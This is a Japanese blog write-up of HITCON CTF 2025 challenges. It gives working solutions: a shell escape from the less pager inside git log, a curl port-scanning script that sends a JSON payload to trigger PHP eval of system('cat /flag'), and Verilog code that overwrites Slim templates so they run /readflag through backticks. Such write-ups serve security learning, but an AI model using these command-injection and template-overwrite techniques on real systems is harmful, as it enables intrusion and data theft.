2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HITCON CTF 2025 writeup

Posted at

概要と感想

HITCON CTF 2025の体験記。

先に感想を書くと、scriptCTFに比べてサクッと解ける問題が少なく、難しく感じた。

solveされている数が多い問題は何とかなるだろう、と目処をつけて挑んだ結果、3問解けて58位(717チーム中)。

git-playground

gitを自由に使えるサンドボックスが与えられ、その環境変数にflagがあると分かっている。

使えるコマンドはある程度限られており、あからさまにshをとるようなコマンドは実行できない。

git logではpagerとしてlessが起動されるが、その中で!を使うとシェルが実行できる。
pagerの中で!echo $FLAGをするとflagが得られる。

LESSSECURE=1 と環境変数に設定すると ! によるシェル脱獄が抑制される。

No Man's Echo

下記のようなPHPが動いているWebサイトがある。
中身の概要としては、該当WebサイトのinternalなIPに対して、probeというクエリパラメータで受け取った自然数周辺のportで通信を送る、といったもの。
もし該当のportが空いていれば、(bodyで受け取ったjsonのsignalArrivalの時に限り、)logogramの値をevalで実行する。

また、サーバーの/flagにflagを記されたファイルがある。

<?php
	$probe = (int)@$_GET['probe'];
	$range = range($probe, $probe + 42);
	shuffle($range);

	foreach ($range as $k => $port) {
		$target = sprintf("tcp://%s:%d", $_SERVER['SERVER_ADDR'], $port);
		$fp = @stream_socket_client($target, $errno, $errstr, 1);
	    if (!$fp) continue;

	    stream_set_timeout($fp, 1);
	    fwrite($fp, file_get_contents("php://input"));
	    $data = fgets($fp);
	    if (strlen($data) > 0) {
	    	$data = json_decode($data);
	    	if (isset($data->signal) && $data->signal == 'Arrival')
	    		eval($data->logogram);
	    	
	    	fclose($fp);
	    	exit(-1);
	    }
	} 
	highlight_file(__FILE__);

ポートを虱潰しにするようにcurlしたらflagを取得できた。

URL='http://no-mans-echo.chal.hitconctf.com/'
MAG='__HIT__'  # 目印
payload='{"signal":"Arrival","logogram":"echo \"__HIT__\\n\"; system('\''cat /flag'\'');"}'

export URL MAG payload

# 並列で 43 窓スキャン(全ポート網羅)
seq 1 43 65535 | xargs -n1 -P16 -I{} sh -c '
  out="$(curl -m2 -sS -X POST "$URL?probe={}" --data-binary "$payload"$'\''\n'\'')"
  if printf "%s" "$out" | grep -q "^$MAG"; then
    echo ">>> HIT probe={}"
    printf "%s\n" "$out" | sed -n "1,10p"   # 先頭10行だけ出す等、お好みで
  fi
'

Verilog OJ

デジタル回路の構造や動作を記述するための言語であるVerilogが題材となっている。
Verilogのコードを提出して、それをjudgeするサイトが渡される。(実装はRuby/Roda。presentation部分はslimを利用)
該当のサイトには/flagにflagが記述されていて、/readflag という実行ファイルを /readflag give me the flag のように実行すればflagが出力される。

$systemを使う(失敗)

まず、verilogの $system を利用して、$system("/flag > /app/app/presentation/public/f.txt");のようにして到達できる位置にflagを書き出すことができるか試みた。

module Crossbar_2x2_4bit(
  input  [3:0] in1, in2,
  input        control,
  output [3:0] out1, out2
);
  // 何でもOK
  assign out1 = control ? in1 : in2;
  assign out2 = control ? in2 : in1;

  integer rc;
  initial begin
    // 公開ディレクトリに書き出す(絶対パスでも相対パスでもOK)
    rc = $system("/flag > /app/app/presentation/public/f.txt");

    // 判定は最後の1行だけ見るので自分で Passed を出して終了
    $display("Passed");
    $finish;
  end
endmodule

これは、$systemが無効となっており失敗した。
(下記、実装をいじって出したログ)

oj-1     | Judge output: judge: Program not runnable, 1 errors.
oj-1     | Judge error: module.v:13: Error: System task/function $system() is not defined by any module.
oj-1     | Judge status: 1

Slimテンプレートを書き換える(成功)

fdisplay(fd, string)を利用してSlimテンプレートファイルを書き換え、$fdisplay(fd, " = /readflag give me the flag");のようにしてSlimがRuby式(/readflag give me the flag)を評価するようにしたらflagを取得できた。

(下記蛇足もあるが、これを提出すればflagを取得できた)

module Crossbar_2x2_4bit(
  input  [3:0] in1, in2,
  input        control,
  output [3:0] out1, out2
);
  assign out1 = control ? in1 : in2;
  assign out2 = control ? in2 : in1;

  integer fd;
  initial begin
    // マーカー(書き込み確認用)
    fd = $fopen("/app/app/presentation/public/marker.txt", "w");
    $fdisplay(fd, "marker ok");
    $fclose(fd);

    // 1) submission 詳細ページのテンプレ(未表示ならチャンス大)
    fd = $fopen("/app/app/presentation/views/submission.slim", "w");
    $fdisplay(fd, "h1 PWN submission");
    $fdisplay(fd, "pre");
    $fdisplay(fd, "  = `/readflag give me the flag`");
    $fclose(fd);

    // 2) problems 一覧(まだ誰も見てなければ)
    fd = $fopen("/app/app/presentation/views/problems.slim", "w");
    $fdisplay(fd, "h1 PWN problems");
    $fdisplay(fd, "pre");
    $fdisplay(fd, "  = `/readflag give me the flag`");
    $fclose(fd);

    // 3) problem 詳細(未キャッシュなら)
    fd = $fopen("/app/app/presentation/views/problem.slim", "w");
    $fdisplay(fd, "h1 PWN problem");
    $fdisplay(fd, "pre");
    $fdisplay(fd, "  = `/readflag give me the flag`");
    $fclose(fd);

    // 4) submissions 一覧(未キャッシュなら)
    fd = $fopen("/app/app/presentation/views/submissions.slim", "w");
    $fdisplay(fd, "h1 PWN submissions");
    $fdisplay(fd, "pre");
    $fdisplay(fd, "  = `/readflag give me the flag`");
    $fclose(fd);

    // 採点は最後の行のみ見るので念のため
    $display("Passed");
    $finish;
  end
endmodule

ここから解けなかった問題

wp-admin

WordPressで構築されたサイトが提供される。
そのサーバーの中に readfile なる実行ファイルがあり、それを実行できればおそらくflagが取得できる。
adminにはなれるのだが、ここからどうすれば良いのかわからず断念。

典型的な問題だとテーマプラグインにコードを書いてflagを得られそうだが、今回はテーマファイルなどをいじれないように設定されている。(chmod -R 555 . してる)

(writeup見たら追記する。)

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?